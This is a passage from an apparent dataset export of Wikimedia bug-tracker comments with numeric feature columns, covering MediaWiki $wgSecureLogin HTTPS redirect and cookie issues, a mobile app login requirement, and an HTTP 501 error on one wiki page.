4eopening this because the fix never worked for me on released versions of MW and its status has to be checked.",,,1377072863,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,18.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,13.0,3.0,5.0,8.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,8.0,18.0,11.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,3.789473684210526,0.868421052631579,"Indee this seems to be hitting us again, see Chris and Tim on URL
4eopening this because the fix never worked for me on released versions of MW and its status has to be checked."
205556,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"I don't understand on what release this is supposed to be fixed and at what conditions ([[mw:Manual:$wgSecureLogin]] says nothing).
wiki.openstreetmap.org is at 1.20.3 (beb501d) and I'm always stuck on HTTPS with $wgSecureLogin = true; $wgServer = '//wiki.openstreetmap.org';",,,1365669877,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,True,,,-20,True,0.0,0.0,0.0,4.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,11.0,5.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.2105263157894735,0.7543859649122807,"I don't understand on what release this is supposed to be fixed and at what conditions ([[mw:Manual:$wgSecureLogin]] says nothing).
wiki.openstreetmap.org is at 1.20.3 (beb501d) and I'm always stuck on HTTPS with $wgSecureLogin = true; $wgServer = '//wiki.openstreetmap.org';"
205550,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,Closing this as resolved since the actual bug has indeed been fixed. Opened a separate report (bug 40679) for the redirect issue.,,,1349134278,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,False,,,-48,True,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,8.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.153846153846154,0.8846153846153846,Closing this as resolved since the actual bug has indeed been fixed. Opened a separate report (bug 40679) for the redirect issue.
205544,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"Yeah, I mean if a user is turning on wgSecureLogin (or a similar option), they should already be aware (hopefully) that this implies HTTPS. At the very least, the bug of a infinite redirect will be replaced with that of getting an error when you try to browse HTTPS when none exists.",,,1349125524,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,False,,,-48,True,0.0,0.0,2.0,2.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,15.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,3.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,10.0,5.0,8.0,7.0,2.0,13.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,7.0,0.0,3.0,0.0,2.0,0.0,3.80327868852459,0.7868852459016393,"Yeah, I mean if a user is turning on wgSecureLogin (or a similar option), they should already be aware (hopefully) that this implies HTTPS. At the very least, the bug of a infinite redirect will be replaced with that of getting an error when you try to browse HTTPS when none exists."
205538,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"(In reply to comment #8)
> Honestly, if MediaWiki is explicitly requesting an HTTPS link, I think it is
> erroneous to produce something different, especially with something as
> ambiguous as what $wgServer's scheme is. I think PROTO_HTTPS should give https
> regardless of $wgServer.

I totally agree, in theory. However, even when I do that, if I load a page over ssl on a site where $wgServer starts with http://, all of the links to load.php and api.php use http instead of https. So the assumption that $wgServer can be used to generate urls with the correct protocol seems to be used all over the place.

I tested out just setting $wgServer to be protocol-relative if $wgSecureLogin is true, and it's working well. I don't like the idea of secretly flagging or changing a user's config, but in this case it seems like it may make sense to fix up conflicting config options?",,,1349121353,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,True,,,-48,True,1.0,0.0,0.5,1.0,0.5,2.5,0.5,0.0,0.0,1.0,2.5,0.5,0.0,0.0,0.0,3.0,0.5,7.0,13.5,0.0,3.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,5.5,0.5,2.0,1.5,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,14.0,0.5,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,5.0,2.5,7.0,2.5,2.5,6.5,0.0,0.0,0.0,0.5,5.0,0.0,1.0,0.0,5.0,13.5,1.5,0.5,0.0,0.0,5.0,0.0,1.0,1.5,0.0,3.5,0.0,0.0,0.0,3.635749619482496,0.758751902587519,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE

I totally agree, in theory. However, even when I do that, if I load a page over ssl on a site where $wgServer starts with URL all of the links to load.php and api.php use http instead of https. So the assumption that $wgServer can be used to generate urls with the correct protocol seems to be used all over the place.

I tested out just setting $wgServer to be protocol-relative if $wgSecureLogin is true, and it's working well. I don't like the idea of secretly flagging or changing a user's config, but in this case it seems like it may make sense to fix up conflicting config options?"
205532,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"(In reply to comment #7)
> I added an ugly hack to wfExpandUrl in Gerrit change #25721 to ignore this assumption
> if the site owner has enabled $wgSecureLogin. However, I think it would be best
> to back up and actually define a couple of things:
> 
> 1) What does it mean if $wgServer starts with http://? Is it that there is no
> ssl available / intended, and MediaWiki should never generate an https link? Or
> should we assume that it's a default configuration, and we can override it if
> other settings like $wgSecureLogin are set?

Honestly, if MediaWiki is explicitly requesting an HTTPS link, I think it is erroneous to produce something different, especially with something as ambiguous as what $wgServer's scheme is. I think PROTO_HTTPS should give https regardless of $wgServer.

In reality, I would love to just finish https://gerrit.wikimedia.org/r/22167 and stop using wfExpandUrl in new code altogether.",,,1348934551,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,False,,,-48,True,0.0,2.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,3.0,1.0,8.0,11.0,2.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,1.0,3.0,20.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,6.0,11.0,10.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,4.133333333333334,0.6444444444444445,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Honestly, if MediaWiki is explicitly requesting an HTTPS link, I think it is erroneous to produce something different, especially with something as ambiguous as what $wgServer's scheme is. I think PROTO_HTTPS should give https regardless of $wgServer.

In reality, I would love to just finish GERRIT_URL and stop using wfExpandUrl in new code altogether."
205526,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"Roan pointed out that gerrit 25530 results in an infinite redirect if $wgServer includes an http:// protocol. This is because when $wgServer includes the protocol, it's assumed by the code that this means that there is no ssl available, so an http:// url is returned from wfExpandUrl(), even when PROTO_HTTPS is given.

I added an ugly hack to wfExpandUrl in gerrit 25721 to ignore this assumption if the site owner has enabled $wgSecureLogin. However, I think it would be best to back up and actually define a couple of things:

1) What does it mean if $wgServer starts with http://? Is it that there is no ssl available / intended, and MediaWiki should never generate an https link? Or should we assume that it's a default configuration, and we can override it if other settings like $wgSecureLogin are set?

2) If $wgServer starting with http:// means that the site should not use tls, but a site also includes $wgSecureLogin set to true, what *should* this mean to mediawiki? Should it be treated as an error? Or should one of the settings be overridden?

My preference for #2 is that we assume that the most secure preference is desired. I wouldn't even mind changing the protocol of $wgServer to be relative if $wgSecureLogin is true in Setup.php. But again, I'm not sure all of the places where assumptions are made about #1 in the code, and in our user base.",,,1348933064,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,True,,,-48,True,0.3333333333333333,0.0,0.0,2.0,1.0,4.0,1.6666666666666667,0.3333333333333333,0.0,2.0,2.3333333333333335,0.6666666666666666,0.0,0.0,0.6666666666666666,3.0,0.0,5.0,13.666666666666666,0.0,1.0,2.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,8.0,2.6666666666666665,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,1.0,0.0,1.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,13.333333333333334,1.0,1.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,6.0,5.0,6.333333333333333,5.666666666666667,2.6666666666666665,8.333333333333334,0.0,0.0,0.0,0.6666666666666666,4.666666666666667,0.0,2.3333333333333335,0.0,6.0,13.666666666666666,2.6666666666666665,1.6666666666666667,0.0,0.0,6.0,0.0,2.0,3.0,0.0,0.6666666666666666,0.0,0.6666666666666666,1.0,3.939583333333333,0.709904970760234,"Roan pointed out that gerrit 25530 results in an infinite redirect if $wgServer includes an http:// protocol. This is because when $wgServer includes the protocol, it's assumed by the code that this means that there is no ssl available, so an http:// url is returned from wfExpandUrl(), even when PROTO_HTTPS is given.

I added an ugly hack to wfExpandUrl in gerrit 25721 to ignore this assumption if the site owner has enabled $wgSecureLogin. However, I think it would be best to back up and actually define a couple of things:

1) What does it mean if $wgServer starts with URL Is it that there is no ssl available / intended, and MediaWiki should never generate an https link? Or should we assume that it's a default configuration, and we can override it if other settings like $wgSecureLogin are set?

2) If $wgServer starting with http:// means that the site should not use tls, but a site also includes $wgSecureLogin set to true, what *should* this mean to mediawiki? Should it be treated as an error? Or should one of the settings be overridden?

My preference for #2 is that we assume that the most secure preference is desired. I wouldn't even mind changing the protocol of $wgServer to be relative if $wgSecureLogin is true in Setup.php. But again, I'm not sure all of the places where assumptions are made about #1 in the code, and in our user base."
205521,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,https://gerrit.wikimedia.org/r/25530,,,1348771229,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
205516,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"I just added a patch for the cookie handling, that I think will allow insecure links/redirects to work. Gerrit 25525.",,,1348770447,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,True,,,-48,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,24.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.92,0.92,"I just added a patch for the cookie handling, that I think will allow insecure links/redirects to work. Gerrit 25525."
205510,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"Well, unfortunately it's not that easy a fix. I'm working on it now, but the big problem is that say, for example, a hook injects HTML into the login complete page. The redirect does not occur automatically, and instead the user is given a sort of ""login success"" page and a link returning to where they were. The returnto link is added using OutputPage::addReturnTo, which in turn uses the Linker, and in that workflow there is no way to change the protocol. Right now I'm working on adding an option to the Linker so that you can force the link to have a certain protocol.",,,1348761264,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,False,,,-48,True,0.0,0.0,0.0,1.5,1.0,2.5,0.5,0.0,0.0,0.0,2.0,1.5,0.0,0.0,1.0,1.5,0.0,6.0,10.0,0.0,1.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,6.5,0.0,1.0,2.0,1.0,0.0,1.0,1.5,0.0,1.0,1.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,10.0,3.5,7.0,2.5,2.5,13.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,4.0,10.0,1.5,0.0,1.0,0.0,4.0,0.0,1.5,4.0,0.0,4.0,0.0,0.0,0.0,3.8524590163934427,0.7213114754098361,"Well, unfortunately it's not that easy a fix. I'm working on it now, but the big problem is that say, for example, a hook injects HTML into the login complete page. The redirect does not occur automatically, and instead the user is given a sort of ""login success"" page and a link returning to where they were. The returnto link is added using OutputPage::addReturnTo, which in turn uses the Linker, and in that workflow there is no way to change the protocol. Right now I'm working on adding an option to the Linker so that you can force the link to have a certain protocol."
205506,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"Thanks Tyler. The redirect should be an easy fix. The cookies might be easier after gerrit 24026, or there might be a better way to do it.",,,1348751650,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,True,,,-48,True,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,10.0,13.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,3.6129032258064515,0.8064516129032258,"Thanks Tyler. The redirect should be an easy fix. The cookies might be easier after gerrit 24026, or there might be a better way to do it."
205502,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"I'll work on this if nobody else is, since I'm the one who filed the bug this blocks.",,,1348720414,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,5.0,14.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,9.0,9.0,0.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,0.8636363636363636,"I'll work on this if nobody else is, since I'm the one who filed the bug this blocks."
205499,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,Can we use insecure cookies when wpStickHTTPS is not checked?,,,1348718753,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,False,,,-48,True,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7272727272727275,1.0,Can we use insecure cookies when wpStickHTTPS is not checked?
41711,Login should only be required when uploading photos,"Early on I had lots of issues logging in. It seemed strange that I wasn't able to take photos and save photos for later whilst not being logged in and ended up switching between camera and app until I fixed the problem with an upgrade.

A new user might want to contribute before registering and uploading.

Expected:
login only occurs when you hit the upload switch

--------------------------
**Version**: unspecified
**Severity**: blocker",Unbreak Now!,100.0,1346113140,1346367440.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-b6ejbr6hosik56ynruzd,task_description,resolved,True,c2,1,False,False,True,-53,True,0.0,0.0,0.0,1.0,2.0,4.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,3.0,1.0,8.0,15.0,0.0,2.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,10.0,3.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0978260869565215,0.7391304347826086,"Early on I had lots of issues logging in. It seemed strange that I wasn't able to take photos and save photos for later whilst not being logged in and ended up switching between camera and app until I fixed the problem with an upgrade.

A new user might want to contribute before registering and uploading.

Expected:
login only occurs when you hit the upload switch

--------------------------
**Version**: unspecified
**Severity**: blocker"
182275,Login should only be required when uploading photos,https://github.com/wikimedia/WLMMobile/pull/212,,,1346367440,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-b6ejbr6hosik56ynruzd,task_subcomment,,True,c2,1,False,,,-52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
182271,Login should only be required when uploading photos,"**philinje** wrote:

also when attempting to view Uploads",,,1346286700,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-b6ejbr6hosik56ynruzd,task_subcomment,,True,c2,1,False,,,-52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,3.642857142857143,0.7857142857142857,"**philinje** wrote:

also when attempting to view Uploads"
50749,Accessing specific page via index.php results in HTTP 501,"**Author:** `yoplitein`

**Description:**
On my wiki (http://beniki.beniesbuilds.com/) attempting to access the page User:Yoplitein/Python directly from index.php, rather than through a URL rewrite (/wiki/User:Yoplitein/Python), causes the software to return HTTP 501. It is not caused by extensions or any configuration customizations, I commented out everything I added to LocalSettings.php and the problem persisted. Similarly named pages, such as User:Yoplitein/PythonCGI or /Python2 work perfectly fine. I've tried to get the software to log output but whatever is causing this seems to prevent any logging of any nature. I'd be happy to provide further information if anyone could tell me how to go about procuring it.

--------------------------
**Version**: 1.20.x
**Severity**: normal
**OS**: Linux
**Platform**: PC
**Whiteboard**: aklapper-moreinfo
**URL**: http://beniki.beniesbuilds.com/index.php?title=User:Yoplitein/Python",Needs Triage,90.0,1369317840,1369453683.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-l4ttm2pvsihhtm43zzrz,task_description,invalid,True,c2,1,False,False,True,-14,True,1.5,1.0,0.5,0.5,0.5,2.5,0.5,0.0,0.0,0.5,1.5,1.0,0.0,0.0,0.0,3.0,0.5,3.0,9.0,1.0,3.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.5,2.5,0.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,0.5,0.0,0.0,0.0,15.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,1.5,16.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,4.0,9.0,6.5,0.0,0.0,0.0,4.0,0.0,1.0,0.5,0.5,1.5,0.0,0.0,0.5,3.774753006872852,0.6369737972508591,"**Author:** CODE

**Description:**
On my wiki (URL attempting to access the page User:Yoplitein/Python directly from index.php, rather than through a URL rewrite (/wiki/User:Yoplitein/Python), causes the software to return HTTP 501. It is not caused by extensions or any configuration customizations, I commented out everything I added to LocalSettings.php and the problem persisted. Similarly named pages, such as User:Yoplitein/PythonCGI or /Python2 work perfectly fine. I've tried to get the software to log output but whatever is causing this seems to prevent any logging of any nature. I'd be happy to provide further information if anyone could tell me how to go about procuring it.

--------------------------
**Version**: 1.20.x
**Severity**: normal
**OS**: Linux
**Platform**: PC
**Whiteboard**: aklapper-moreinfo
**URL**: URL"
217125,Accessing specific page via index.php results in HTTP 501,"**yoplitein** wrote:

(In reply to comment #1)
> You are probably aware of http://www.mediawiki.org/wiki/Manual:How_to_debug ,
> and I can confirm that
> http://beniki.beniesbuilds.com/index.php?title=User:Yoplitein/
> Python?debug=true
> does not create the problem. Is there anything in the Apache log?

There is nothing in the Apache access or error logs. After a bit more poking and prodding, it seems the problem is with Apache and not MediaWiki.",,,1369453683,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-l4ttm2pvsihhtm43zzrz,task_subcomment,,True,c2,1,False,,,-14,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,19.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,9.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.3684210526315788,0.7017543859649122,"**yoplitein** wrote:

(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

There is nothing in the Apache access or error logs. After a bit more poking and prodding, it seems the problem is with Apache and not MediaWiki."
217118,Accessing specific page via index.php results in HTTP 501,"You are probably aware of http://www.mediawiki.org/wiki/Manual:How_to_debug , and I can confirm that http://beniki.beniesbuilds.com/index.php?title=User:Yoplitein/Python?debug=true does not create the problem. Is there anything in the Apache log?",,,1369396213,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-l4ttm2pvsihhtm43zzrz,task_subcomment,,True,c2,1,True,,,-14,True,0.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,7.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,22.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,4.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7037037037037037,0.9259259259259259,"You are probably aware of URL , and I can confirm that URL does not create the problem. Is there anything in the Apache log?"
50587,Disable login until username and password are filled in,"Login button can be pressed even when no username and password are fill in. Let's disable it until the we have some text.

--------------------------
**Version**: unspecified
